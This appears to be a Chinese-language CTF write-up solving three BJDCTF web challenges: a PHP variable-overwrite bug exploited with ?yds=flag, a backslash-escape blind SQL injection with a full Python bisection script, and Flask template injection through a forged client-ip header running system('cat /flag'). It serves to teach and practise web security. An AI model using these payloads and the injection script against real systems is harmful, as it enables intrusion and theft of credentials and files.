[BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip
[BJDCTF2020]Mark loves cat
源码泄露
使用GitHack.py下载源码
下载之后对源代码进行审计
flag.php代码为:
<?php $flag = file_get_contents('/flag');
iindex.py里的关键代码为:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
观察代码可以看出来是变量覆盖漏洞,代码审计一书中也对变量覆盖漏洞进行过分析
按照常规想要获取到flag,是通过:
echo "the flag is: ".$flag;
因为包含了flag.php文件,在flag.php文件中包含了网站目录下的flag文件。
但是在这里:
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
} if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
} if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
可以看到有三个有输出的exit:
exit($handsome);
exit($yds);
exit($is);
找一个最简单的,第二个exit:
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
只要不给flag传值就会退出,退出的时候会显示$yds的值,而$yds的值在代码最开始的时候初始化过:
$yds = "dog";
初始化和exit之间有代码:
foreach($_POST as $x => $y){
$$x = $y;
} foreach($_GET as $x => $y){
$$x = $$y;
}
我们只要在这段代码中令$yds=$flag,将原来$yds变量的值进行覆盖,同时符合退出条件,就可以输出拿到flag。
从下往上逆推,思路要清楚一点。
退出条件是不给flag传值,接着要令$yds=$flag
foreach($_GET as $x => $y){
$$x = $$y;
}
所以我们GET传值
?yds=flag
这样就能达到我们的目的,第一个POST的循环都没有用到。
查看源代码获取flag
[BJDCTF 2nd]简单注入
界面是一个登录框,输入admin/123456
输入一下单引号
存在过滤,扫描发现存在robots.txt文件
继续看hint.txt文件
Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend. select * from users where username='$_POST["username"]' and password='$_POST["password"]';
显示了后端的SQL语句,我们可以使用\转义符转义username后面的引号,令username的第一个引号和password的第一个引号闭合,逃逸出password第一个引号后面的内容
如输入
username=admin\
password=or 1#
数据库查询语句事实上变成了这样:
select * from users where username='admin\' and password='or 1#';
这时候的回显变为了:
也就是查询正确的结果和查询错误的结果显示的页面是不一样的,由此编写二分盲注脚本(其实就是在原来的二分盲注脚本基础上改改就行)
不知道为啥,二分脚本里面payload写成这样死活不行:
payload='or/**/(ascii(substr((password),%d,1))>%d)#'%(x,mid)
手动测试的时候or也没有被过滤,脚本里面就出错了,将or换成了^异或符号
payload='^/**/(ascii(substr((password),%d,1))>%d)#'%(x,mid)
最后的二分盲注脚本为:
import requests
import time url='http://30e42e1c-74ab-4d1f-82e8-fcfb7562dfe1.node3.buuoj.cn/index.php'
flag=''
for x in range(1,50):
high=137
low=32
mid=(low+high)//2
while high>low:
payload='^/**/(ascii(substr((password),%d,1))>%d)#'%(x,mid)
data={
"username":"admin\\",
"password":payload
}
response=requests.post(url,data=data)
if 'P3rh4ps' in response.text:
low=mid+1
else:
high=mid
mid=(high+low)//2
flag+=chr(int(mid))
print flag
#or (ascii(substr((password),1,1))>1)#
运行之后拿到密码:
使用admin/OhyOuFOuNdit登录即可获取flag
[BJDCTF2020]The mystery of ip
进去之后随便点点,先点hint再点flag
hint页面啥也没有,查看源代码
有一句 Do you know why i knoe your ip?怀疑是需要伪造IP地址
再看flag页面
为啥我IP在加拿大???
burpsuite拦截,client-ip伪造IP为127.0.0.1
成功伪造其为127.0.0.1
发现没有什么其他的提示了,尝试了一下SQL注入,无果
这时候可以注意到网站是使用flask框架搭建的--->>因为前端使用了bootstrap框架组件(还好有一点flask开发基础)
遇到flask框架反应就是SSTI模板注入,题目又是IP的奥秘,伪造IP为:
client-ip: 127.0.0.1/{{1+1}}
计算出了1+1之后的值,证明存在SSTI模板注入
继续修改payload:
client-ip: 127.0.0.1/{{system("ls /")}}
根目录下存在flag文件,cat一下即可
client-ip: 127.0.0.1/{{system("cat /flag")}}
获取flag
参考链接:
https://www.cnblogs.com/wangtanzhi/p/12318630.html
https://www.cnblogs.com/h3zh1/p/12669345.html
[BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip的更多相关文章
- [BJDCTF 2nd]简单注入
[BJDCTF 2nd]简单注入 hint.txt出现了内容. 大概意思和国赛一道题相同. username处注入\来转义单引号,password处使用sql语句整数型注入. 例如: 传入admin\ ...
- [BJDCTF2020]Mark loves cat
0x00 知识点 GitHack读取源码 $$会导致变量覆盖漏洞 0x01解题 dirsearch扫描一下,发现/.git目录,用githack获取一下源码. <?php include 'fl ...
- 刷题[BJDCTF 2nd]简单注入
解题思路 打开发现登陆框,随机输入一些,发现有waf,然后回显都是同样的字符串.fuzz一波,发现禁了挺多东西的. select union 等 这里猜测是布尔盲注,错误的话显示的是:You konw ...
- 刷题[BJDCTF2020]Mark loves cat
解题思路 打开网页,发现是一个博客,基本寻找博客挂载信息,源码等无果后,扫描后台.发现.git泄露 .git泄露 发现.git泄露后,使用Git Extract这款工具,可自动将源码clone到本地 ...
- [原题复现+审计][BJDCTF2020]Mark loves cat($$导致的变量覆盖问题)
简介 原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January 考察知识点:$$导致的变量覆盖问题 线上平台:https://buuoj.cn( ...
- [BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF,不过如此
[BJDCTF 2nd]Schrödinger 点进题目之后是一堆英文,英语不好就不配打CTF了吗(流泪) 复制这一堆英文去谷歌翻译的时候发现隐藏文字 移除test.php文件,访问test.php ...
- [BJDCTF2020]Mark loves cat-1|源代码泄露|变量覆盖
主要考察了:源代码泄露.变量覆盖 共展示了三种获取flag的方式 1.打开题目查看未发现有效信息,查看源代码信息,发现返回的dog信息,结果如下: 2.使用dirmap进行目录扫描,发现了.git/c ...
- [BJDCTF 2nd]假猪套天下第一 && [BJDCTF2020]Easy MD5
[BJDCTF 2nd]假猪套天下第一 假猪套是一个梗吗? 进入题目,是一个登录界面,输入admin的话会返回错误,登录不成功,其余用户可以正常登陆 以为是注入,简单测试了一下没有什么效果 抓包查看信 ...
- [BJDCTF 2nd]fake google
[BJDCTF 2nd]fake google 进入页面: 试了几下发现输入xxx,一般会按的格式显示, P3's girlfirend is : xxxxx 然后猜测会不会执行代码,发现可以执行 & ...
随机推荐
- python_for_else_return
def login(): # 登录 # 登录 输入用户名密码 # 和self.user_list作比对 while True: username = input('用户名 :') # password ...
- Linux上传递文件到另外一个Linux服务器
现在的项目由于安全的需要,测试服务器被设置不能直接连接,想要连接的话,只能先登录一个服务器,然后以这个服务器为跳板,去登录另外一台真正的 服务器,即使是测试环境也只能这样操作.只能是相对来说安全一些. ...
- Dubbo 接口,导出 Markdown ,这些功能 DocView 现在都有了!
前言 自从 DocView 发布了简陋的第一版之后,就不断地有小伙伴提建议意见等等,希望扩展各种功能.这不,时隔两周,DocView 又发布了新版本,本次的更新主要涉及到支持 Dubbo,以及支持导出 ...
- 使用Feign发送HTTP请求
使用Feign发送HTTP请求 在往常的 HTTP 调用中,一直都是使用的官方提供的 RestTemplate 来进行远程调用,该调用方式将组装代码冗余到正常业务代码中,不够优雅,因此在接触到 Fei ...
- Druid配置和初始化参数 转发地址图片有
配置数据源 1.添加上 Druid 数据源依赖. <!-- https://mvnrepository.com/artifact/com.alibaba/druid --> <dep ...
- Guitar Pro小课堂之弹唱和弦转换小技巧
吉他相对其他乐器的便携性,还有其便于弹唱的特点,受到了很多音乐萌新们的喜爱.对于刚刚接触吉他的萌新来说,学琴初期弹唱的时候经常会因为和弦卡顿的转换,和因为食指力度不够或技巧不对无法顺利演奏的大横按,导 ...
- MathType中如何编辑求和公式
在学习过程中,尤其是在写需要用到数学公式的论文的时,需要输入数学公式并进行格式编辑等,那么对于简单的公式可以使用Office自带的公式编辑器,对于复杂的公式建议使用专业的公式编辑器MathType,该 ...
- guitar pro系列教程(五):Guitar Pro音轨属性之小节的功能
又到了guitar pro系列教程新的一章,本章节小编将采用图文相结合的方式与大家一起来讨论下关于Guitar Pro小节的功能,感兴趣的小伙伴都可以进来看看哦,如下图所示: 我们看到小节这选项栏中分 ...
- Boom 3D的保真度是什么,如何应用
Boom 3D是一款非常优秀的3D音频软件,拥有3D音效.环境模式.空间模式.夜间模式.保真度等多种音效模式,可以为用户提供多种音效体验感. 第一.什么是保真度 或许第一次接触音频软件的朋友就会问到什 ...
- 【P4178】Tree——点分治
(题面来自luogu) 题目描述 给你一棵TREE,以及这棵树上边的距离.问有多少对点它们两者间的距离小于等于K 输入格式 N(n<=40000) 接下来n-1行边描述管道,按照题目中写的输入 ...